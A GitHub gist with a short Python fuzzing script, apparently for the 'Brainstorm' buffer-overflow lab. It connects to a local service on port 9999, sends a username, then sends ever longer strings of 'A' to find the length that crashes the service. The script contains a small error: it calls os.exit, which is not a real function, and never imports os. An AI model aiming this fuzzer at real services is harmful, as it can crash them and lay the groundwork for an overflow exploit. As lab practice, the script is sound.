Created
November 9, 2021 12:38
-
-
Save jayateertha043/e11a338d2a0683ddd49ae01373d655f3 to your computer and use it in GitHub Desktop.
Brainstorm fuzz.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys, socket, time | |
ip = '127.0.0.1' | |
port = 9999 | |
buffer = "A" | |
counter = 100 | |
while counter <= 3000: | |
buffer = "A" * counter | |
counter = counter + 100 | |
try: | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.settimeout(5) | |
s.connect((ip, port)) | |
#initial welcome message | |
tmp = s.recv(1024) | |
#send username | |
user = "Jayateertha\r\n" | |
s.send(user.encode()) | |
#Receive reply | |
tmp = s.recv(1024) | |
print("sending "+str(len(buffer)) + " bytes") | |
#send message | |
buffer = buffer + "\r\n" | |
s.send(buffer.encode()) | |
except: | |
print("Exception, connection closed") | |
s.close() | |
os.exit(1) | |
finally: | |
time.sleep(0.5) | |
s.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment